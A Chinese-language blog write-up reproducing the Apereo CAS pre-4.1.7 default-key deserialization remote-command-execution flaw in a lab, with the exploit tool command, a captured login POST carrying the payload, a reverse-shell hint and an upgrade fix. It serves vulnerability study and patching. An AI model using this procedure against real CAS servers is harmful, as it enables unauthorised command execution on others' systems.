apereo-cas漏洞复现

简介

参考链接:

CAS 全称是Central Authentication Service(中心认证服务),它是一个单点登录(Single-Sign-On)协议,Apereo CAS是实现该协议的软件包,且Apereo CAS是目前Java服务器环境下使用最为广泛的单点登录系统。

apereo-cas漏洞复现

Apereo CAS 4.1 反序列化命令执行漏洞

参考链接:

Apereo CAS 在4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

漏洞影响版本:

  • version < 4.1.7

漏洞复现

启动环境,访问http://your-ip:8080/cas/login即可查看到登录页面。

apereo-cas漏洞复现

我们可以使用Apereo-CAS-Attack来复现该漏洞,该工具需要与ysoserial配合使用,使用ysoserial的CommonsCollections4生成加密后的Payload:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

apereo-cas漏洞复现

多次生成你会发现生成的内容并不一样,但是没有关系。然后我们在login页面进行登录并抓包,用户名和密码随意填写,将body中的execution值替换成上面的payload:

POST /cas/login HTTP/1.1
Host: 139.198.172.202:8080
Content-Length: 2305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.198.172.202:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.198.172.202:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C70B7AA2F917AFEC6D4504EAEAAF06FB; wp-settings-time-1=1626831956
Connection: close

username=test&password=test&lt=LT-6-6rO5h3ba6wNhaP551NCKziUKyVgJhD-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

apereo-cas漏洞复现

使用docker exec -it <容器ID> /bin/bash进入容器,在/tmp目录下创建了success文件。

apereo-cas漏洞复现

反弹shell,可以使用base64对反弹shell语句进行编码。

http://www.jackson-t.ca/runtime-exec-payloads.html

漏洞修复

这个漏洞的时间比较早了(16年),现在(21年10月13日)最先的版本是6.4.1,升级到没有漏洞的版本即可。

上一篇:volatile、原子性、原子变量、CAS


下一篇:IRMOF-8金属有机骨架, CAS:473981-43-0